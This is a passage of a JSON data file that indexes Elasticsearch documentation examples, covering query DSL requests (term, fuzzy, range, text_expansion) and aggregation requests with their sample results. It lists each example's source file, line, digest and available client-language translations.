{"source_location":{"file":"query-dsl/exists-query.asciidoc","line":56},"digest":"5dfe24287bb930ad33345caf092a004b","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"must_not\": {\n \"exists\": {\n \"field\": \"user.id\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/fuzzy-query.asciidoc","line":29},"digest":"09a478fe32a7b7d814083ffa5297bcdf","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"fuzzy\": {\n \"user.id\": {\n \"value\": \"ki\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/fuzzy-query.asciidoc","line":46},"digest":"0cee58617e75f493c5049d77be1c49f3","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"fuzzy\": {\n \"user.id\": {\n \"value\": \"ki\",\n \"fuzziness\": \"AUTO\",\n \"max_expansions\": 50,\n \"prefix_length\": 0,\n \"transpositions\": true,\n \"rewrite\": \"constant_score_blended\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/ids-query.asciidoc","line":13},"digest":"dbd1b930782d34d7396fdb2db1216c0d","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"ids\" : {\n \"values\" : [\"1\", \"4\", \"100\"]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/prefix-query.asciidoc","line":16},"digest":"fbc5ab85b908480bf944b55da0a43488","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"prefix\": {\n \"user.id\": {\n \"value\": \"ki\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/prefix-query.asciidoc","line":58},"digest":"353020cb30a885ee7f5ce2b141ba574a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"prefix\" : { \"user\" : \"ki\" }\n }\n}"}, {"source_location":{"file":"query-dsl/range-query.asciidoc","line":16},"digest":"6b77795e9249c8d9865f7a49fd86a863","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"range\": {\n \"age\": {\n \"gte\": 10,\n \"lte\": 20,\n \"boost\": 2.0\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/range-query.asciidoc","line":150},"digest":"64aff98cf477555e7411714c17006572","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"range\": {\n \"timestamp\": {\n \"gte\": \"now-1d/d\",\n \"lte\": \"now/d\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/range-query.asciidoc","line":241},"digest":"5c2f486c27bd5346e512265f93375d16","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /_search\n{\n \"query\": {\n \"range\": {\n \"timestamp\": {\n \"time_zone\": \"+01:00\", <1>\n \"gte\": \"2020-01-01T00:00:00\", <2>\n \"lte\": \"now\" <3>\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/regexp-query.asciidoc","line":23},"digest":"08f20902821a4f7a73ce7b959c5bdbdc","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"regexp\": {\n \"user.id\": {\n \"value\": \"k.*y\",\n \"flags\": \"ALL\",\n \"case_insensitive\": true,\n \"max_determinized_states\": 10000,\n \"rewrite\": \"constant_score_blended\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":28},"digest":"c0c638e3d218b0ecbe5c4d77c964ae9e","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"term\": {\n \"user.id\": {\n \"value\": \"kimchy\",\n \"boost\": 1.0\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":99},"digest":"803bbc14fbec0e49dfed9fab49c8a7f8","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"full_text\": { \"type\": \"text\" }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":118},"digest":"111c69ca94162c1523b799a5c14723dd","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1\n{\n \"full_text\": \"Quick Brown Foxes!\"\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":137},"digest":"c1a895497066a3dac674d4b1a119048d","lang":"console","found":["python","ruby","go"],"source":"GET my-index-000001/_search?pretty\n{\n \"query\": {\n \"term\": {\n \"full_text\": \"Quick Brown Foxes!\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":170},"digest":"cda045dfd79acd160ed8668f2ee17ea7","lang":"console","found":["python","ruby","go"],"source":"GET my-index-000001/_search?pretty\n{\n \"query\": {\n \"match\": {\n \"full_text\": \"Quick Brown Foxes!\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/term-query.asciidoc","line":191},"digest":"7628440aa19cc96cd72e4fc9fddf00b7","lang":"console-result","found":[],"source":"{\n \"took\" : 1,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 1,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 0.8630463,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"1\",\n \"_score\" : 0.8630463,\n \"_source\" : {\n \"full_text\" : \"Quick Brown Foxes!\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":21},"digest":"c9d9a1d751f20f6197c825cb4378fe9f","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"terms\": {\n \"user.id\": [ \"kimchy\", \"elkbee\" ],\n \"boost\": 1.0\n }\n }\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":134},"digest":"378e55f78fa13578a1302bae8d479765","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"color\": { \"type\": \"keyword\" }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":152},"digest":"95b3f53f2065737bbeba6199e8a12df3","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/1\n{\n \"color\": [\"blue\", \"green\"]\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":167},"digest":"344b4144244d57f87c6aa4652b100b25","lang":"console","found":["python","ruby","go"],"source":"PUT my-index-000001/_doc/2\n{\n \"color\": \"blue\"\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":193},"digest":"4955bae30f265b9e436f82b015de6d7e","lang":"console","found":["python","ruby","go"],"source":"GET my-index-000001/_search?pretty\n{\n \"query\": {\n \"terms\": {\n \"color\" : {\n \"index\" : \"my-index-000001\",\n \"id\" : \"2\",\n \"path\" : \"color\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/terms-query.asciidoc","line":213},"digest":"48a4d2d09e8eaa15673f25f424e66879","lang":"console-result","found":[],"source":"{\n \"took\" : 17,\n \"timed_out\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"skipped\" : 0,\n \"failed\" : 0\n },\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : 1.0,\n \"hits\" : [\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"1\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"color\" : [\n \"blue\",\n \"green\"\n ]\n }\n },\n {\n \"_index\" : \"my-index-000001\",\n \"_id\" : \"2\",\n \"_score\" : 1.0,\n \"_source\" : {\n \"color\" : \"blue\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/terms-set-query.asciidoc","line":49},"digest":"07ec38b97601286ec106986a84e1e5f7","lang":"console","found":["ruby"],"source":"PUT /job-candidates\n{\n \"mappings\": {\n \"properties\": {\n \"name\": {\n \"type\": \"keyword\"\n },\n \"programming_languages\": {\n \"type\": \"keyword\"\n },\n \"required_matches\": {\n \"type\": \"long\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/terms-set-query.asciidoc","line":85},"digest":"c6b8713bd49661d69d6b868f5b991d17","lang":"console","found":["ruby"],"source":"PUT /job-candidates/_doc/1?refresh\n{\n \"name\": \"Jane Smith\",\n \"programming_languages\": [ \"c++\", \"java\" ],\n \"required_matches\": 2\n}"}, {"source_location":{"file":"query-dsl/terms-set-query.asciidoc","line":107},"digest":"8206a7cc615ad93fec322513b8fdd4fd","lang":"console","found":["ruby"],"source":"PUT /job-candidates/_doc/2?refresh\n{\n \"name\": \"Jason Response\",\n \"programming_languages\": [ \"java\", \"php\" ],\n \"required_matches\": 2\n}"}, {"source_location":{"file":"query-dsl/terms-set-query.asciidoc","line":136},"digest":"e586d1d2a997133e039fd352a42a72b3","lang":"console","found":["ruby"],"source":"GET /job-candidates/_search\n{\n \"query\": {\n \"terms_set\": {\n \"programming_languages\": {\n \"terms\": [ \"c++\", \"java\", \"php\" ],\n \"minimum_should_match_field\": \"required_matches\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/terms-set-query.asciidoc","line":214},"digest":"9f3341489fefd38c4e439c29f6dcb86c","lang":"console","found":["ruby"],"source":"GET /job-candidates/_search\n{\n \"query\": {\n \"terms_set\": {\n \"programming_languages\": {\n \"terms\": [ \"c++\", \"java\", \"php\" ],\n \"minimum_should_match_script\": {\n \"source\": \"Math.min(params.num_terms, doc['required_matches'].value)\"\n },\n \"boost\": 1.0\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/wildcard-query.asciidoc","line":21},"digest":"b52951b78cd5fb2f9353d1c7e6d37070","lang":"console","found":["python","ruby"],"source":"GET /_search\n{\n \"query\": {\n \"wildcard\": {\n \"user.id\": {\n \"value\": \"ki*y\",\n \"boost\": 1.0,\n \"rewrite\": \"constant_score_blended\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/text-expansion-query.asciidoc","line":17},"digest":"2155c920d7d860f3ee7542f2211b4fec","lang":"console","found":["ruby"],"source":"GET _search\n{\n \"query\":{\n \"text_expansion\":{\n \"\":{\n \"model_id\":\"the model to produce the token weights\",\n \"model_text\":\"the query string\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/text-expansion-query.asciidoc","line":98},"digest":"2310d84ebf113f2a3ed14cc53172ae4a","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\":{\n \"text_expansion\":{\n \"ml.tokens\":{\n \"model_id\":\".elser_model_2\",\n \"model_text\":\"How is the weather in Jamaica?\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/text-expansion-query.asciidoc","line":117},"digest":"4fcca1687d7b2cf08de526539fea5a76","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n {\n \"text_expansion\": {\n \"ml.inference.title_expanded.predicted_value\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"How is the weather in Jamaica?\",\n \"boost\": 1\n }\n }\n },\n {\n \"text_expansion\": {\n \"ml.inference.description_expanded.predicted_value\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"How is the weather in Jamaica?\",\n \"boost\": 1\n }\n }\n },\n {\n \"multi_match\": {\n \"query\": \"How is the weather in Jamaica?\",\n \"fields\": [\n \"title\",\n \"description\"\n ],\n \"boost\": 4\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/text-expansion-query.asciidoc","line":163},"digest":"046b2249bbc49e77848c114cee940f17","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"retriever\": {\n \"rrf\": {\n \"retrievers\": [\n {\n \"standard\": {\n \"query\": {\n \"multi_match\": {\n \"query\": \"How is the weather in Jamaica?\",\n \"fields\": [\n \"title\",\n \"description\"\n ]\n }\n }\n }\n },\n {\n \"standard\": {\n \"query\": {\n \"text_expansion\": {\n \"ml.inference.title_expanded.predicted_value\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"How is the weather in Jamaica?\"\n }\n }\n }\n }\n },\n {\n \"standard\": {\n \"query\": {\n \"text_expansion\": {\n \"ml.inference.description_expanded.predicted_value\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"How is the weather in Jamaica?\"\n }\n }\n }\n }\n }\n ],\n \"window_size\": 10,\n \"rank_constant\": 20\n }\n }\n}"}, {"source_location":{"file":"query-dsl/text-expansion-query.asciidoc","line":228},"digest":"e17241ed903fc092f1536bcb9cddb0e6","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"query\":{\n \"text_expansion\":{\n \"ml.tokens\":{\n \"model_id\":\".elser_model_2\",\n \"model_text\":\"How is the weather in Jamaica?\"\n },\n \"pruning_config\": {\n \"tokens_freq_ratio_threshold\": 5,\n \"tokens_weight_threshold\": 0.4,\n \"only_score_pruned_tokens\": false\n }\n }\n },\n \"rescore\": {\n \"window_size\": 100,\n \"query\": {\n \"rescore_query\": {\n \"text_expansion\": {\n \"ml.tokens\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"How is the weather in Jamaica?\"\n },\n \"pruning_config\": {\n \"tokens_freq_ratio_threshold\": 5,\n \"tokens_weight_threshold\": 0.4,\n \"only_score_pruned_tokens\": true\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/regexp-syntax.asciidoc","line":50},"digest":"11d9043d3050a7175069dec7e0adc963","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"my_field\": \"a\\\\b\"\n}"}, {"source_location":{"file":"query-dsl/regexp-syntax.asciidoc","line":60},"digest":"53aa8b21e2b1c4d48960343711296704","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"regexp\": {\n \"my_field.keyword\": \"a\\\\\\\\.*\"\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":36},"digest":"01da9e0620e48270617fc248e6415cac","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"aggs\": {\n \"my-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":54},"digest":"3e921e509db090744ce28d80b6a7ac8e","lang":"console-result","found":[],"source":"{\n \"took\": 78,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 5,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [...]\n },\n \"aggregations\": {\n \"my-agg-name\": { <1>\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": []\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":95},"digest":"98f43710cedd28a464e8abf4b09bcc9a","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-1d/d\",\n \"lt\": \"now/d\"\n }\n }\n },\n \"aggs\": {\n \"my-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":126},"digest":"c96669604d0e66a097ddf3093b025ccd","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":149},"digest":"c733f20641b20e124f26198534755d6d","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"aggs\": {\n \"my-first-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n }\n },\n \"my-second-agg-name\": {\n \"avg\": {\n \"field\": \"my-other-field\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":180},"digest":"7404c6e809fee5d7eb9678a82a872806","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"aggs\": {\n \"my-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n },\n \"aggs\": {\n \"my-sub-agg-name\": {\n \"avg\": {\n \"field\": \"my-other-field\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":207},"digest":"bee98b1f5bebbc28b77affe7f2231883","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my-agg-name\": { <1>\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": [\n {\n \"key\": \"foo\",\n \"doc_count\": 5,\n \"my-sub-agg-name\": { <2>\n \"value\": 75.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":241},"digest":"fa946228e946da256d40264c8b070a1a","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"aggs\": {\n \"my-agg-name\": {\n \"terms\": {\n \"field\": \"my-field\"\n },\n \"meta\": {\n \"my-metadata-field\": \"foo\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":262},"digest":"cf959dcbc91405429c5a7c96faee146b","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"my-agg-name\": {\n \"meta\": {\n \"my-metadata-field\": \"foo\"\n },\n \"doc_count_error_upper_bound\": 0,\n \"sum_other_doc_count\": 0,\n \"buckets\": []\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":287},"digest":"aa699ff3234f54d091575a38e859a627","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?typed_keys\n{\n \"aggs\": {\n \"my-agg-name\": {\n \"histogram\": {\n \"field\": \"my-field\",\n \"interval\": 1000\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":314},"digest":"7b71495937ac2d036de8b1c3b6767ff4","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"histogram#my-agg-name\": { <1>\n \"buckets\": []\n }\n }\n}"}, {"source_location":{"file":"aggregations.asciidoc","line":337},"digest":"91ed08faaed54cb5ace9a295af937439","lang":"console","found":[],"source":"GET /my-index-000001/_search?size=0\n{\n \"runtime_mappings\": {\n \"message.length\": {\n \"type\": \"long\",\n \"script\": \"emit(doc['message.keyword'].value.length())\"\n }\n },\n \"aggs\": {\n \"message_length\": {\n \"histogram\": {\n \"interval\": 10,\n \"field\": \"message.length\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/adjacency-matrix-aggregation.asciidoc","line":36},"digest":"2ba15c066d55a9b26d49b09471151cb4","lang":"console","found":["ruby"],"source":"PUT emails/_bulk?refresh\n{ \"index\" : { \"_id\" : 1 } }\n{ \"accounts\" : [\"hillary\", \"sidney\"]}\n{ \"index\" : { \"_id\" : 2 } }\n{ \"accounts\" : [\"hillary\", \"donald\"]}\n{ \"index\" : { \"_id\" : 3 } }\n{ \"accounts\" : [\"vladimir\", \"donald\"]}\n\nGET emails/_search\n{\n \"size\": 0,\n \"aggs\" : {\n \"interactions\" : {\n \"adjacency_matrix\" : {\n \"filters\" : {\n \"grpA\" : { \"terms\" : { \"accounts\" : [\"hillary\", \"sidney\"] }},\n \"grpB\" : { \"terms\" : { \"accounts\" : [\"donald\", \"mitt\"] }},\n \"grpC\" : { \"terms\" : { \"accounts\" : [\"vladimir\", \"nigel\"] }}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/adjacency-matrix-aggregation.asciidoc","line":67},"digest":"c1f8e4dbfebddcfa68163f094929ff74","lang":"console-result","found":[],"source":"{\n \"took\": 9,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"interactions\": {\n \"buckets\": [\n {\n \"key\":\"grpA\",\n \"doc_count\": 2\n },\n {\n \"key\":\"grpA&grpB\",\n \"doc_count\": 1\n },\n {\n \"key\":\"grpB\",\n \"doc_count\": 2\n },\n {\n \"key\":\"grpB&grpC\",\n \"doc_count\": 1\n },\n {\n \"key\":\"grpC\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":17},"digest":"a45244aa3adbf3c793fede100786d1f5","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\": 10\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":43},"digest":"79b43a1bf02fb5b38f54b8d5aa5dab53","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sales_over_time\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\": 5,\n \"format\": \"yyyy-MM-dd\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":64},"digest":"403cb84ab2ac82540f1190e205740872","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"sales_over_time\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-01-01\",\n \"key\": 1420070400000,\n \"doc_count\": 3\n },\n {\n \"key_as_string\": \"2015-02-01\",\n \"key\": 1422748800000,\n \"doc_count\": 2\n },\n {\n \"key_as_string\": \"2015-03-01\",\n \"key\": 1425168000000,\n \"doc_count\": 2\n }\n ],\n \"interval\": \"1M\"\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":124},"digest":"769f75829a8e6670aa4cf83d0d737046","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1?refresh\n{\n \"date\": \"2015-10-01T00:30:00Z\"\n}\n\nPUT my-index-000001/_doc/2?refresh\n{\n \"date\": \"2015-10-01T01:30:00Z\"\n}\n\nPUT my-index-000001/_doc/3?refresh\n{\n \"date\": \"2015-10-01T02:30:00Z\"\n}\n\nGET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"by_day\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\" : 3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":157},"digest":"861de90753e4d31aaba4aa57fc95400a","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-10-01T00:00:00.000Z\",\n \"key\": 1443657600000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T01:00:00.000Z\",\n \"key\": 1443661200000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T02:00:00.000Z\",\n \"key\": 1443664800000,\n \"doc_count\": 1\n }\n ],\n \"interval\": \"1h\"\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":190},"digest":"fc5a81f34d416e4b45ca8a859dd3b8f1","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search?size=0\n{\n \"aggs\": {\n \"by_day\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\" : 3,\n \"time_zone\": \"-01:00\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":212},"digest":"7a23b07f42ed52868b374883e4be1348","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"by_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015-09-30T23:00:00.000-01:00\", <1>\n \"key\": 1443657600000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T00:00:00.000-01:00\",\n \"key\": 1443661200000,\n \"doc_count\": 1\n },\n {\n \"key_as_string\": \"2015-10-01T01:00:00.000-01:00\",\n \"key\": 1443664800000,\n \"doc_count\": 1\n }\n ],\n \"interval\": \"1h\"\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":270},"digest":"afcacd742d18bf220e02f0bc6891526d","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sale_date\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\": 10,\n \"minimum_interval\": \"minute\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/autodatehistogram-aggregation.asciidoc","line":293},"digest":"59726e3c90e1218487a781508788c243","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"sale_date\": {\n \"auto_date_histogram\": {\n \"field\": \"date\",\n \"buckets\": 10,\n \"missing\": \"2000/01/01\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":158},"digest":"8b652e3205a5e9e0187f56ce3c36ae4e","lang":"console","found":[],"source":"POST log-messages/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"categories\": {\n \"categorize_text\": {\n \"field\": \"message\"\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":175},"digest":"b314af9078a8b18c2e44fbaff6b52980","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"categories\" : {\n \"buckets\" : [\n {\n \"doc_count\" : 3,\n \"key\" : \"Node shutting down\",\n \"regex\" : \".*?Node.+?shutting.+?down.*?\",\n \"max_matching_length\" : 49\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"Node starting up\",\n \"regex\" : \".*?Node.+?starting.+?up.*?\",\n \"max_matching_length\" : 47\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User foo_325 logging on\",\n \"regex\" : \".*?User.+?foo_325.+?logging.+?on.*?\",\n \"max_matching_length\" : 52\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User foo_864 logged off\",\n \"regex\" : \".*?User.+?foo_864.+?logged.+?off.*?\",\n \"max_matching_length\" : 52\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":213},"digest":"6742a8cd0b7b4c1c325ce2f22faf6cb4","lang":"console","found":[],"source":"POST log-messages/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"categories\": {\n \"categorize_text\": {\n \"field\": \"message\",\n \"categorization_filters\": [\"\\\\w+\\\\_\\\\d{3}\"] <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":235},"digest":"547973e7d5ba9f5b775211fbb3574cf8","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"categories\" : {\n \"buckets\" : [\n {\n \"doc_count\" : 3,\n \"key\" : \"Node shutting down\",\n \"regex\" : \".*?Node.+?shutting.+?down.*?\",\n \"max_matching_length\" : 49\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"Node starting up\",\n \"regex\" : \".*?Node.+?starting.+?up.*?\",\n \"max_matching_length\" : 47\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User logged off\",\n \"regex\" : \".*?User.+?logged.+?off.*?\",\n \"max_matching_length\" : 52\n },\n {\n \"doc_count\" : 1,\n \"key\" : \"User logging on\",\n \"regex\" : \".*?User.+?logging.+?on.*?\",\n \"max_matching_length\" : 52\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":282},"digest":"4c77d12039fe2445c9251e33979071ac","lang":"console","found":[],"source":"POST log-messages/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"categories\": {\n \"categorize_text\": {\n \"field\": \"message\",\n \"categorization_filters\": [\"\\\\w+\\\\_\\\\d{3}\"], <1>\n \"similarity_threshold\": 11 <2>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":307},"digest":"925180ac710ca1cbc0ce098a70a21b9e","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"categories\" : {\n \"buckets\" : [\n {\n \"doc_count\" : 4,\n \"key\" : \"Node\",\n \"regex\" : \".*?Node.*?\",\n \"max_matching_length\" : 49\n },\n {\n \"doc_count\" : 2,\n \"key\" : \"User\",\n \"regex\" : \".*?User.*?\",\n \"max_matching_length\" : 52\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":334},"digest":"d1299b9ae1e621d2fdd0b8644c142ace","lang":"console","found":[],"source":"POST log-messages/_search?filter_path=aggregations\n{\n \"aggs\": {\n \"daily\": {\n \"date_histogram\": {\n \"field\": \"time\",\n \"fixed_interval\": \"1d\"\n },\n \"aggs\": {\n \"categories\": {\n \"categorize_text\": {\n \"field\": \"message\",\n \"categorization_filters\": [\"\\\\w+\\\\_\\\\d{3}\"]\n },\n \"aggs\": {\n \"hit\": {\n \"top_hits\": {\n \"size\": 1,\n \"sort\": [\"time\"],\n \"_source\": \"message\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/categorize-text-aggregation.asciidoc","line":367},"digest":"574dd6b7b0af0b15a99789c9a517a4a8","lang":"console-result","found":[],"source":"{\n \"aggregations\" : {\n \"daily\" : {\n \"buckets\" : [\n {\n \"key_as_string\" : \"2016-02-07T00:00:00.000Z\",\n \"key\" : 1454803200000,\n \"doc_count\" : 3,\n \"categories\" : {\n \"buckets\" : [\n {\n \"doc_count\" : 2,\n \"key\" : \"Node shutting down\",\n \"regex\" : \".*?Node.+?shutting.+?down.*?\",\n \"max_matching_length\" : 49,\n \"hit\" : {\n \"hits\" : {\n \"total\" : {\n \"value\" : 2,\n \"relation\" : \"eq\"\n },\n \"max_score\" : null,\n \"hits\" : [\n {\n \"_index\" : 